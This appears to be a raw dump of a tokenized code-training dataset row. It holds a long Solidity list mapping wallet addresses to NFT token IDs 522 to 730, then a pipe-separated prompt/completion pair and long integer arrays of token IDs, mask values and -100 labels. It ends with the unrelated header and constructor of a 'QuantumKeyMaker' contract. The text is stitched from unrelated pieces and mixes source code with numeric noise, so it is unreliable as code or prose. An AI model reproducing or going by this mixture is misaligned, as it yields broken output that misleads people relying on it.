claimers[0xba028A2a6097f7Da63866965B7f045F166aeB958] = 522; // seq: 521 -> tkn_id: 522
claimers[0x787Efe41F4C940bC8c2a0D2B1877B7Fb71bC7c04] = 523; // seq: 522 -> tkn_id: 523
claimers[0xA368bae3df1107cF22Daf0a79761EF94656D789A] = 524; // seq: 523 -> tkn_id: 524
claimers[0x67ffa298DD79AE9de27Fd63e99c15716ddc93491] = 525; // seq: 524 -> tkn_id: 525
claimers[0xD79B70C1D4Ab78Cd97d53508b5CBf0D573728980] = 526; // seq: 525 -> tkn_id: 526
claimers[0x8aA79517903E473c548A36d80f54b7669056249a] = 527; // seq: 526 -> tkn_id: 527
claimers[0xaEC4a7621BEA9F03B9A893d61e6e6EA91b33c395] = 528; // seq: 527 -> tkn_id: 528
claimers[0xF6614172a85D7cB91327bd11e4884d3C76042580] = 529; // seq: 528 -> tkn_id: 529
claimers[0x8F1B34eAF577413db89889beecdb61f4cc590aC2] = 530; // seq: 529 -> tkn_id: 530
claimers[0xD85bc15495DEa1C510fE41794d0ca7818d8558f0] = 531; // seq: 530 -> tkn_id: 531
claimers[0x85b931A32a0725Be14285B66f1a22178c672d69B] = 532; // seq: 531 -> tkn_id: 532
claimers[0xCDCaDF2195c1376f59808028eA21630B361Ba9b8] = 533; // seq: 532 -> tkn_id: 533
claimers[0x32527CA6ec2B85AbaCA0fb2dd3878e5b7Bb5b370] = 534; // seq: 533 -> tkn_id: 534
claimers[0xe3fa3aefD1f122e2228fFE79EE36685215A05BCa] = 535; // seq: 534 -> tkn_id: 535
claimers[0x7AE29F334D7cb67b58df5aE2A19F360F1Fd3bE75] = 536; // seq: 535 -> tkn_id: 536
claimers[0xF29919b09037036b6f10aD7C41ADCE8677BE2F54] = 537; // seq: 536 -> tkn_id: 537
claimers[0x328824B1468f47163787d0Fa40c44a04aaaF4fD9] = 538; // seq: 537 -> tkn_id: 538
claimers[0x4d4180739775105c82627CCbf043d6d32e746dee] = 539; // seq: 538 -> tkn_id: 539
claimers[0x6372b52593537A3Be2F3752110cb709e6f213241] = 540; // seq: 539 -> tkn_id: 540
claimers[0x75187bA60caFC4A2Cb057aADdD5c9FdAc3896Cee] = 541; // seq: 540 -> tkn_id: 541
claimers[0xf5503988423F65b1d5F2263d33Ab161E889103EB] = 542; // seq: 541 -> tkn_id: 542
claimers[0x76b2e65407e9f24cE944B62DB0c82e4b61850233] = 543; // seq: 542 -> tkn_id: 543
claimers[0xDd6177ba0f8C5F15DB178452585BB52A7b0C9Aee] = 544; // seq: 543 -> tkn_id: 544
claimers[0x3017dC24849823c81c43b6F8288bC85D6214FD7E] = 545; // seq: 544 -> tkn_id: 545
claimers[0xdf59a1d81880bDE9175c3B766c3e95bEd21c3670] = 546; // seq: 545 -> tkn_id: 546
claimers[0x2A716b58127BC4341231833E3A586582b07bBB22] = 547; // seq: 546 -> tkn_id: 547
claimers[0x15c5F3a14d4492b1a26f4c6557251a6F247a2Dd5] = 548; // seq: 547 -> tkn_id: 548
claimers[0x239af5a76A69de3F13aed6970fdF37bf86e8FEB7] = 549; // seq: 548 -> tkn_id: 549
claimers[0xCF6E7e0676f5AC61446F6865e26a0f34bb86A622] = 550; // seq: 549 -> tkn_id: 550
claimers[0xfb580744F1fDc4fEb83D9846E907a63Aa94979bd] = 551; // seq: 550 -> tkn_id: 551
claimers[0x3de1820D8d3B7f6C61C34dfD74F941c88cb27143] = 552; // seq: 551 -> tkn_id: 552
claimers[0xDFfF9Df5665BD156ECc71769103C72D8D167E30b] = 553; // seq: 552 -> tkn_id: 553
claimers[0xf4775496624C382f74aDbAE79C5780F353B1f83B] = 554; // seq: 553 -> tkn_id: 554
claimers[0xd1f157e1798D20F905e8391e3AcC2351bd9873Ff] = 555; // seq: 554 -> tkn_id: 555
claimers[0x2BcfEC37A16eb258d641812A308edEc5B80b32C1] = 556; // seq: 555 -> tkn_id: 556
claimers[0xD7CE5Cec413cC35edc293BD0e9D6204bEb91a470] = 557; // seq: 556 -> tkn_id: 557
claimers[0xC195a064BE7Ac37702Cd8FBcE4d71b57111d559b] = 558; // seq: 557 -> tkn_id: 558
claimers[0xc148113F6508589538d65B29426331A12B04bC6C] = 559; // seq: 558 -> tkn_id: 559
claimers[0x687922176D1BbcBcdC295E121BcCaA45A1f40fCd] = 560; // seq: 559 -> tkn_id: 560
claimers[0xba5270bFd7245C37db5e9Bb5fC18A68b8cA622F8] = 561; // seq: 560 -> tkn_id: 561
claimers[0x2022e7E902DdF290B70AAF5FB5D777E7840Fc9D3] = 562; // seq: 561 -> tkn_id: 562
claimers[0x676be4D726F6e648cC41AcF71b3d099dC65242f3] = 563; // seq: 562 -> tkn_id: 563
claimers[0xCbBdE3eeb1005A8be374C0eeB9c02e0e33Ac4629] = 564; // seq: 563 -> tkn_id: 564
claimers[0xaf636e6585a1cD5CDD23A75d32cbd57e6D836dA6] = 565; // seq: 564 -> tkn_id: 565
claimers[0x7dE08dAb472F16F6713bD30B1B1BCd29FA7AC68c] = 566; // seq: 565 -> tkn_id: 566
claimers[0xc8fa8A80D241a06CB53d61Ceacce0d1a8715Bc2f] = 567; // seq: 566 -> tkn_id: 567
claimers[0xA661Ff505C9Be09C08341666bbB32c46a80Fe996] = 568; // seq: 567 -> tkn_id: 568
claimers[0x934Cc457EDC4b58b105188C3ECE78c7b2EE65d80] = 569; // seq: 568 -> tkn_id: 569
claimers[0xFF4a498B23f2E3aD0A5eBEd838F07F30Ab4dC800] = 570; // seq: 569 -> tkn_id: 570
claimers[0xf75b052036dB7d90D18C10C06d3535F0fc3A4b74] = 571; // seq: 570 -> tkn_id: 571
claimers[0x8f2a707153378551c450Ec28B29c72C0B97664FC] = 572; // seq: 571 -> tkn_id: 572
claimers[0x77167885E8393f1052A8cE8D5dfF2fF16c08f98d] = 573; // seq: 572 -> tkn_id: 573
claimers[0x186D482EB263492318Cd470f3e4C0cf7705b3963] = 574; // seq: 573 -> tkn_id: 574
claimers[0x0736C28bd6186Cc899F72aB3f68f542bC2479d90] = 575; // seq: 574 -> tkn_id: 575
claimers[0x5E6DbCb38555ec7B4c5C12F19144736010335d26] = 576; // seq: 575 -> tkn_id: 576
claimers[0xd85d3AcC28A235f9128938B99E26747dB0ba655D] = 577; // seq: 576 -> tkn_id: 577
claimers[0x812E1eeE6D76e2F3490a8C29C0CC9e38D71a1a4f] = 578; // seq: 577 -> tkn_id: 578
claimers[0x66D61B6BEb130197E8194B072215d9aE9b36e14d] = 579; // seq: 578 -> tkn_id: 579
claimers[0x36986961cc3037E40Ef6f01A7481941ed08aF566] = 580; // seq: 579 -> tkn_id: 580
claimers[0xB6ea652fBE96DeddC5fc7133C208D024f3CFFf5a] = 581; // seq: 580 -> tkn_id: 581
claimers[0x2F86c6e97C4E2d03939AfE7452448bD96b681938] = 582; // seq: 581 -> tkn_id: 582
claimers[0x6F36a7E4eA93aCbF753397C96DaBacD45ba88175] = 583; // seq: 582 -> tkn_id: 583
claimers[0x6394e38E5Fe6Fb9de9B2dD267F257035fe72a315] = 584; // seq: 583 -> tkn_id: 584
claimers[0xeE74a1e81B6C55e3D02D05D7CaE9FD6BCee0E651] = 585; // seq: 584 -> tkn_id: 585
claimers[0x9A7797Cf292579065CC204C5c975E0E7E9dF66f7] = 586; // seq: 585 -> tkn_id: 586
claimers[0xf50E61952aC37fa5DD770657326A5FBDB18cB694] = 587; // seq: 586 -> tkn_id: 587
claimers[0x0B60fF27655bCd5E9444c5D1865ec8CD3B403146] = 588; // seq: 587 -> tkn_id: 588
claimers[0x35f382D9daA602A23AD988D5bf837B8e6A01d002] = 589; // seq: 588 -> tkn_id: 589
claimers[0xFF7C32e9D881e6cabBCE7C0C17564F54260C3872] = 590; // seq: 589 -> tkn_id: 590
claimers[0xdE437ad59B5fcad477eB90a4742916FD04c0193e] = 591; // seq: 590 -> tkn_id: 591
claimers[0xB9f2946b6f35d8BB4a1522e7628F24416947ddda] = 592; // seq: 591 -> tkn_id: 592
claimers[0x67AE8A6e6587e6219141dC5a5BE35f30Beb30C50] = 593; // seq: 592 -> tkn_id: 593
claimers[0x04b5b1906745FE9E501C10B3191118FA76CD76Ba] = 594; // seq: 593 -> tkn_id: 594
claimers[0xc793B339FC99A912d8c4c420f55023e072Dc4A08] = 595; // seq: 594 -> tkn_id: 595
claimers[0x024713784f675dd28b5CE07dB91a4d47213c2394] = 596; // seq: 595 -> tkn_id: 596
claimers[0xE9011643a76aC1Ee4BDb32242B28424597C724A2] = 597; // seq: 596 -> tkn_id: 597
claimers[0xFA3ed3EDd606157c2FD49c900a0B1fE867b96d78] = 598; // seq: 597 -> tkn_id: 598
claimers[0xEb06301D471b0F8C8C5CC965B09Ce0B85021D398] = 599; // seq: 598 -> tkn_id: 599
claimers[0x57985E22ae7906cC693b44cC16473643F294Ff07] = 600; // seq: 599 -> tkn_id: 600
claimers[0x3ef7Bf350074EFDE3FD107ce38e652a10a5750f5] = 601; // seq: 600 -> tkn_id: 601
claimers[0xAA5990c918b845EE54ade1a962aDb9ddfF17D20A] = 602; // seq: 601 -> tkn_id: 602
claimers[0x7Ff698e124d1D14E6d836aF4dA0Ae448c8FfFa6F] = 603; // seq: 602 -> tkn_id: 603
claimers[0x95351210cf4F6270aaD413d5A2E07256a005D9B3] = 604; // seq: 603 -> tkn_id: 604
claimers[0x2aE024C5EE8dA720b9A51F50D53a291aca37dEb1] = 605; // seq: 604 -> tkn_id: 605
claimers[0xe0dAA80c1fF85fd070b561ef44cC7637059E5e57] = 606; // seq: 605 -> tkn_id: 606
claimers[0xD64212269c456D61bCA45403c4B93A2a57B7510E] = 607; // seq: 606 -> tkn_id: 607
claimers[0xC3A9eB254C875750A83750d1258220fA8a729F89] = 608; // seq: 607 -> tkn_id: 608
claimers[0x07b678695690183C644fEb37d9E95eBa4eFe53A8] = 609; // seq: 608 -> tkn_id: 609
claimers[0x4334c48D71b8D03799487a601509ac137b29904B] = 610; // seq: 609 -> tkn_id: 610
claimers[0xea2D190cBb3Be5074E9E144EDE095f059eDB7E53] = 611; // seq: 610 -> tkn_id: 611
claimers[0x93973b0dc20bEff165C087cB2A319640C210f30e] = 612; // seq: 611 -> tkn_id: 612
claimers[0x8015eA3DA10b9960378CdF6d529EBf19553c112A] = 613; // seq: 612 -> tkn_id: 613
claimers[0xE40Cc4De1a57e83AAc249Bb4EF833B766f26e2F2] = 614; // seq: 613 -> tkn_id: 614
claimers[0xdD2B93A4F52C138194C10686f175df55db690117] = 615; // seq: 614 -> tkn_id: 615
claimers[0x2EF48fA1785aE0C24fd791c1D7BAaf690d153793] = 616; // seq: 615 -> tkn_id: 616
claimers[0x2044E9cF4a61D4a49C73800168Ecfd8Bd19550c4] = 617; // seq: 616 -> tkn_id: 617
claimers[0xF6711aFF1462fd2f477769C2d442Cf2b10597C6D] = 618; // seq: 617 -> tkn_id: 618
claimers[0xf9F49E8B93f60535852A91FeE294fF6c4D460035] = 619; // seq: 618 -> tkn_id: 619
claimers[0x61b3c4c9dc16B686eD396319D48586f40c1F74E9] = 620; // seq: 619 -> tkn_id: 620
claimers[0x348F0cE2c24f14EfC18bfc2B2048726BDCDB759e] = 621; // seq: 620 -> tkn_id: 621
claimers[0x32f8E5d3F4039d1DF89B6A1e544288289A500Fd1] = 622; // seq: 621 -> tkn_id: 622
claimers[0xaF997affb94c5Ca556b28b024E162AA3164f4A43] = 623; // seq: 622 -> tkn_id: 623
claimers[0xb20Ce1911054DE1D77E1a66ec402fcB3d06c06c2] = 624; // seq: 623 -> tkn_id: 624
claimers[0xB83FC0c399e46b69e330f19baEB87B6832Ec890d] = 625; // seq: 624 -> tkn_id: 625
claimers[0x01B9b335Bb0D8Ff543f54eb9A59Ba57dBEf7A93B] = 626; // seq: 625 -> tkn_id: 626
claimers[0x2CC7dA5EF8fd01f4a7cD03E785A01941F28fE8da] = 627; // seq: 626 -> tkn_id: 627
claimers[0x46f75A3e9702d89E3E269361D9c1e4D2A9779044] = 628; // seq: 627 -> tkn_id: 628
claimers[0x7AEBDD84821190c1cfCaCe051E87913ae5d67439] = 629; // seq: 628 -> tkn_id: 629
claimers[0xE94F4519Ed1670123714d8f67B3A144Bf089f594] = 630; // seq: 629 -> tkn_id: 630
claimers[0xf10367decc6F0e6A12Aa14E7512AF94a4C791Fd7] = 631; // seq: 630 -> tkn_id: 631
claimers[0x49BA4256FE65b833b3dA9c26aA27E1eFD74EFD1d] = 632; // seq: 631 -> tkn_id: 632
claimers[0x33BE249B512DCb6D2FC7586047ab0220397aF2d3] = 633; // seq: 632 -> tkn_id: 633
claimers[0x07b449319D200b1189406c58967348c5bA0D4083] = 634; // seq: 633 -> tkn_id: 634
claimers[0x9B6498Ef7F47223f5F7d466FC4D26c570C7b375F] = 635; // seq: 634 -> tkn_id: 635
claimers[0xA40F625ce8e06Db1C41Bb7F8854C7d57644Ff9Cc] = 636; // seq: 635 -> tkn_id: 636
claimers[0x28864AF76e73B38e2C9D4e856Ea97F66947961aB] = 637; // seq: 636 -> tkn_id: 637
claimers[0x4aC4Ab29F4A87150D89D3fdd5cbC46112606E5e8] = 638; // seq: 637 -> tkn_id: 638
claimers[0x9D29BBF508cDf300D116FCA3cE3cd9d287850ccd] = 639; // seq: 638 -> tkn_id: 639
claimers[0xcC5Fb93A6e274Ac3C626a02B24F939b1307b46e1] = 640; // seq: 639 -> tkn_id: 640
claimers[0x0E590293aD7CB2Dd9968B7f16eac9614451A63E1] = 641; // seq: 640 -> tkn_id: 641
claimers[0x726d54570632b30c957E60CFf44AD4eE2b559dB6] = 642; // seq: 641 -> tkn_id: 642
claimers[0xE2927F7f6618E71A86CE3F8F5AC32B5BbFe163a6] = 643; // seq: 642 -> tkn_id: 643
claimers[0x3C7DEd16d0E5b5bA9fb3DE539ed28cb7B7D8C95C] = 644; // seq: 643 -> tkn_id: 644
claimers[0xB7c3A0928c06A80DC4A4CDc9dC0aec33E047A4c8] = 645; // seq: 644 -> tkn_id: 645
claimers[0x95f26898b144FF93283d38d0B1A92b69f90d3123] = 646; // seq: 645 -> tkn_id: 646
claimers[0x95a788A34b7781eF34660196BB615A97F7e7d2B8] = 647; // seq: 646 -> tkn_id: 647
claimers[0x317EA9Dd8fCac5A6Fd94eB2959FeC690931b61b8] = 648; // seq: 647 -> tkn_id: 648
claimers[0x2CE83785eD44961959bf5251e85af897Ba9ddAC7] = 649; // seq: 648 -> tkn_id: 649
claimers[0xE144E7e3948dCA4AD395794031A0289a83b150A0] = 650; // seq: 649 -> tkn_id: 650
claimers[0x18668B0244949570ec637465BAFdDe4d082afa69] = 651; // seq: 650 -> tkn_id: 651
claimers[0xaba035729057984c7431a711436D3e51e947cbD4] = 652; // seq: 651 -> tkn_id: 652
claimers[0x2519410f255A52CDF22a7DFA870073b1357B30A7] = 653; // seq: 652 -> tkn_id: 653
claimers[0x63a12D51Ee95eF213404308e1F8a2805A0c21899] = 654; // seq: 653 -> tkn_id: 654
claimers[0x882bBB07991c5c2f65988fd077CdDF405FE5b56f] = 655; // seq: 654 -> tkn_id: 655
claimers[0x11f53fdAb3054a5cA63778659263aF0838b642b1] = 656; // seq: 655 -> tkn_id: 656
claimers[0x093E088901909dEecC1b4a1479fBcCE1FBEd31E7] = 657; // seq: 656 -> tkn_id: 657
claimers[0x3c5cBddC5D6D6720d51CB563134d72E20dc4C713] = 658; // seq: 657 -> tkn_id: 658
claimers[0x3Db111A09A2e77A8DD6d03dc3f089f4A0F4557E9] = 659; // seq: 658 -> tkn_id: 659
claimers[0x8F53cA524c1451A930DEA18926df964Fb72B10F1] = 660; // seq: 659 -> tkn_id: 660
claimers[0x22C535D5EccCF398997eabA19Aa3FAbd3fe6AA16] = 661; // seq: 660 -> tkn_id: 661
claimers[0x93dF35071B3bc1B6d16D5f5F20fbB2be9D50FE67] = 662; // seq: 661 -> tkn_id: 662
claimers[0xfE61D830b99E40b3E905CD7EcF4a08DD06fa7F03] = 663; // seq: 662 -> tkn_id: 663
claimers[0x9cB5FAF0801ac959a0d40b2A7D69Ed8E42F792eA] = 664; // seq: 663 -> tkn_id: 664
claimers[0xC5B0f2afEC01807D964D76aEce6dB2F093239619] = 665; // seq: 664 -> tkn_id: 665
claimers[0x9b279dbaB2aE483EEDD106a583ACbBCFd722CE79] = 666; // seq: 665 -> tkn_id: 666
claimers[0x429c74f7C7fe7d31a70289e9B4b54e0F7300f376] = 667; // seq: 666 -> tkn_id: 667
claimers[0xeD08e8D72D35428b28390B7334ebe7F9f7a64822] = 668; // seq: 667 -> tkn_id: 668
claimers[0xB468076716C800Ce1eB9e9F515488099cC838128] = 669; // seq: 668 -> tkn_id: 669
claimers[0x3D7A35c89f04Af71F453b33848B49714859D061c] = 670; // seq: 669 -> tkn_id: 670
claimers[0x7DcE9e613b3583C600255A230497DD77429b0e21] = 671; // seq: 670 -> tkn_id: 671
claimers[0x2B00CaD253E88924290fFC7FeE221D135A0f083a] = 672; // seq: 671 -> tkn_id: 672
claimers[0xA2A64dE6BEe8c68DBCC948609708Ae54801CBAd8] = 673; // seq: 672 -> tkn_id: 673
claimers[0x6F255406306D6D78e97a29F7f249f6d2d85d9801] = 674; // seq: 673 -> tkn_id: 674
claimers[0xcDaf4c2e205A8077F29BF1dfF9Bd0B6a501B72cB] = 675; // seq: 674 -> tkn_id: 675
claimers[0xC45bF67A729B9A2b98521CDbCbf8bc70d8b81af3] = 676; // seq: 675 -> tkn_id: 676
claimers[0x35205135F0883e6a59aF9cb64310c53003433122] = 677; // seq: 676 -> tkn_id: 677
claimers[0xbAFcFC93A2fb6a042CA87f3d70670E2c114CE9fd] = 678; // seq: 677 -> tkn_id: 678
claimers[0xf664D1363FcE2da5ebb9aA935ef11Ce07be012Db] = 679; // seq: 678 -> tkn_id: 679
claimers[0x57e7ce99461FDeA80Ae8a6292e58AEfe053ed3a3] = 680; // seq: 679 -> tkn_id: 680
claimers[0xbD0Ad704f38AfebbCb4BA891389938D4177A8A92] = 681; // seq: 680 -> tkn_id: 681
claimers[0x0962FEeC7d4f0fa0EBadf6cd2e1CB783103B41F4] = 682; // seq: 681 -> tkn_id: 682
claimers[0x9B89f9Fd0952009fd556b19B18d85dA1089D005C] = 683; // seq: 682 -> tkn_id: 683
claimers[0xa511CB01cCe9c221cC73a9f9231937Cf6baf1D1A] = 684; // seq: 683 -> tkn_id: 684
claimers[0x79e5c907b9d4Af5840C687e6975a1C530895454a] = 685; // seq: 684 -> tkn_id: 685
claimers[0xf782f0Bf9B741FdE0E7c7dA4f71c7E33554f8397] = 686; // seq: 685 -> tkn_id: 686
claimers[0x228Bb6C83e8d0767eD342dd333DDbD55Ad217a3D] = 687; // seq: 686 -> tkn_id: 687
claimers[0xf2f62B5C7B3395b0ACe219d1B91D8083f8394720] = 688; // seq: 687 -> tkn_id: 688
claimers[0x2A77484F4cca78a5B3f71c22A50e3A1b8583072D] = 689; // seq: 688 -> tkn_id: 689
claimers[0xbB85877c4AEa11A141FC107Dc8D2E43C4B04F8C8] = 690; // seq: 689 -> tkn_id: 690
claimers[0x0414B2A60f8d4b84dE036677f8780F59AFEc1b65] = 691; // seq: 690 -> tkn_id: 691
claimers[0xb3aA296e046E0EFBd734cfa5DCd447Ae3a5e6104] = 692; // seq: 691 -> tkn_id: 692
claimers[0xa6700EA3f19830e2e8b35363c2978cb9D5630303] = 693; // seq: 692 -> tkn_id: 693
claimers[0xF976106afd7ADE91F8dFc5167284AD57795b17B1] = 694; // seq: 693 -> tkn_id: 694
claimers[0x793E446AFFf802e20bdb496A64250622BE32Df29] = 695; // seq: 694 -> tkn_id: 695
claimers[0x2E72d671fa07be54ae9671f793895520268eF00E] = 696; // seq: 695 -> tkn_id: 696
claimers[0xB67c99dfb3422b61f9E38070f021eaB7B42e9CAF] = 697; // seq: 696 -> tkn_id: 697
claimers[0x0095D1f7804D32A7921b26D3Eb1229873D3B11E0] = 698; // seq: 697 -> tkn_id: 698
claimers[0xEf31D013E222AaD9Eb90df9fd466c758B7603FaB] = 699; // seq: 698 -> tkn_id: 699
claimers[0x9936f05D5cE4259D44Aa51d54c0C245652efcc11] = 700; // seq: 699 -> tkn_id: 700
claimers[0x58bb897f0612235FA7Ae324F9b9718a06A2f6df3] = 701; // seq: 700 -> tkn_id: 701
claimers[0xa2cF94Bf60B6a6C08488B756E6695d990574e9C7] = 702; // seq: 701 -> tkn_id: 702
claimers[0x47754f6dCb011A308c91a666c5245abbC577c9eD] = 703; // seq: 702 -> tkn_id: 703
claimers[0xB6a95916221Abef28339594161cd154Bc650c515] = 704; // seq: 703 -> tkn_id: 704
claimers[0xb0471Ad0fEFD2151Efaa6C8415b1dB984526c0a6] = 705; // seq: 704 -> tkn_id: 705
claimers[0xC869ce145a5a72985540285Efde28f5176F39bC9] = 706; // seq: 705 -> tkn_id: 706
claimers[0x79440849d5BA6Df5fb1F45Ff36BE3979F4271fa4] = 707; // seq: 706 -> tkn_id: 707
claimers[0xD54F610d744b64393386a354cf1ADD944cBD42c9] = 708; // seq: 707 -> tkn_id: 708
claimers[0x3b368E77F110e3FE1C8482F395E51D1f75e50e5f] = 709; // seq: 708 -> tkn_id: 709
claimers[0x529ccAFA5aC0d18E7402244859AF8664BA736919] = 710; // seq: 709 -> tkn_id: 710
claimers[0x686241b898D7616FF78e22cc45fb07e92A74B7B5] = 711; // seq: 710 -> tkn_id: 711
claimers[0xd859ad8D8DCA1eEC61529833685FE59FAb804E7d] = 712; // seq: 711 -> tkn_id: 712
claimers[0x5AbfC4E2bB4941BD6773f120573618Ba8a4f7863] = 713; // seq: 712 -> tkn_id: 713
claimers[0x17c1cF2eeFda3f339996c67cd18d4389D132D033] = 714; // seq: 713 -> tkn_id: 714
claimers[0x6Ce5B05f0C6A8129DE3C7fC3E69ca35Be3ECB35e] = 715; // seq: 714 -> tkn_id: 715
claimers[0x4B992870CF27A548921082be7B447fc3c0534509] = 716; // seq: 715 -> tkn_id: 716
claimers[0xa278039DEE9B1fC58164Ef7B6f5eC86de9786178] = 717; // seq: 716 -> tkn_id: 717
claimers[0xBa64c61B45340994bABF676544025BcCc0bE6A9e] = 718; // seq: 717 -> tkn_id: 718
claimers[0x3656f4d852f15986beBE025AEF64a40dF2A5d4a1] = 719; // seq: 718 -> tkn_id: 719
claimers[0x4A57385D14882d6d8FDB3916792E9585102d22DA] = 720; // seq: 719 -> tkn_id: 720
claimers[0x764108BAcf10e30F6f249d17E7612fB9008923F0] = 721; // seq: 720 -> tkn_id: 721
claimers[0x880BD9ec1d3b71Bda5249baCCC63E9a8e5902250] = 722; // seq: 721 -> tkn_id: 722
claimers[0x1195e87Ca87C8f5989ecBa2d569E64784E5820f9] = 723; // seq: 722 -> tkn_id: 723
claimers[0x8591D21143794463A69017944F555E272965db06] = 724; // seq: 723 -> tkn_id: 724
claimers[0x032c255E5a84C2E8Ca242f85098988D69b982E85] = 725; // seq: 724 -> tkn_id: 725
claimers[0xFD9bCD1F71Cb016079077F659Ee99f8AD834732A] = 726; // seq: 725 -> tkn_id: 726
claimers[0x6Be049Bb4688dFf540E7798433c925E21c70Ac25] = 727; // seq: 726 -> tkn_id: 727
claimers[0xFbFB1aD08f5d60d0243CC88E1EDf9eD5875d2EFe] = 728; // seq: 727 -> tkn_id: 728
claimers[0xeBe91f187bF0b29185a8e4A362392Aa3665030a1] = 729; // seq: 728 -> tkn_id: 729
claimers[0xF6666FCE84FDe632f33c1A881b6AC2C0f545D271] = 730; // seq: 729 -> tkn_id: 730 | seq: 522 -> tkn_id: 523
| claimers[0x787Efe41F4C940bC8c2a0D2B1877B7Fb71bC7c04] = 523; | 12,655,018 | [
1,
5436,
30,
1381,
3787,
317,
13030,
82,
67,
350,
30,
1381,
4366,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
202,
14784,
414,
63,
20,
92,
8285,
27,
41,
3030,
9803,
42,
24,
39,
29,
7132,
70,
39,
28,
71,
22,
69,
20,
40,
22,
38,
2643,
4700,
38,
27,
42,
70,
11212,
70,
39,
27,
71,
3028,
65,
273,
1381,
4366,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
import "./interfaces/IQuantumKeyRing.sol";
import "@rari-capital/solmate/src/auth/Auth.sol";
import "@rari-capital/solmate/src/utils/ReentrancyGuard.sol";
import "@rari-capital/solmate/src/utils/SafeTransferLib.sol";
import "@openzeppelin/contracts/utils/structs/BitMaps.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
//
//
// XXXXXXX
// X XXXX XXXXXX
// XXSXSXXXXXX XXXXX
// XXXXX XX XXXXXSXX
// XXXX XXXS SSXX XXXX
// XXX XXXX XXXXXX X
// XXXXXXX X XXX XXX
// XXXXXXXX XXXXXXX
// SXX XXXXX XXXSXXSX
// XXXXXXXXX XXXXXXXXXX
// SXXX X XX XXXXXX XXX
// XXXXXX X XXX X X XSXX
// SXXXXX X XXSXXXXS XX
// XSXSX XXXXXX
// SXXX XXX XXXXX
// XXXXX SXXXXXX
// SXXS X XXXXX
// XXXXXX X XSX X
// XSXXX XX XXXXX
// XXSXSSX XXXXXX
// XSXXXSXXXXXXXXX
// XXXXX XXXXXX
/// @title The Quantum Key Maker. It orders keys for you, and sends them to you.
/// @author exp.table
contract QuantumKeyMaker is Auth, ReentrancyGuard {
using BitMaps for BitMaps.BitMap;
/// >>>>>>>>>>>>>>>>>>>>>>> EVENTS <<<<<<<<<<<<<<<<<<<<<<<<<< ///
event Ordered(uint256 indexed id, address indexed to, uint256 amount);
/// >>>>>>>>>>>>>>>>>>>>>>> STATE <<<<<<<<<<<<<<<<<<<<<<<<<< ///
IQuantumKeyRing private _keyRing;
/// @notice _hasClaimed[keyId][merkleRoot] tracking of claims
mapping (uint256 => mapping (bytes32 => BitMaps.BitMap)) private _hasClaimed;
/// @notice valid roots - avoid spoofing when buying a key
mapping (uint256 => mapping (bytes32 => bool)) private _validRoots;
mapping (uint256 => uint256) public available;
/// >>>>>>>>>>>>>>>>>>>>> CONSTRUCTOR <<<<<<<<<<<<<<<<<<<<<< ///
/// @notice Deploys QuantumKeyMaker
/// @dev Initiates the Auth module with no authority and the sender as the owner
/// @param keyRing The address of QuantumKeyRing
/// @param owner owner of the contract
/// @param authority address of deployed authority
constructor(address keyRing, address owner, address authority) Auth(owner, Authority(authority)) {
_keyRing = IQuantumKeyRing(keyRing);
}
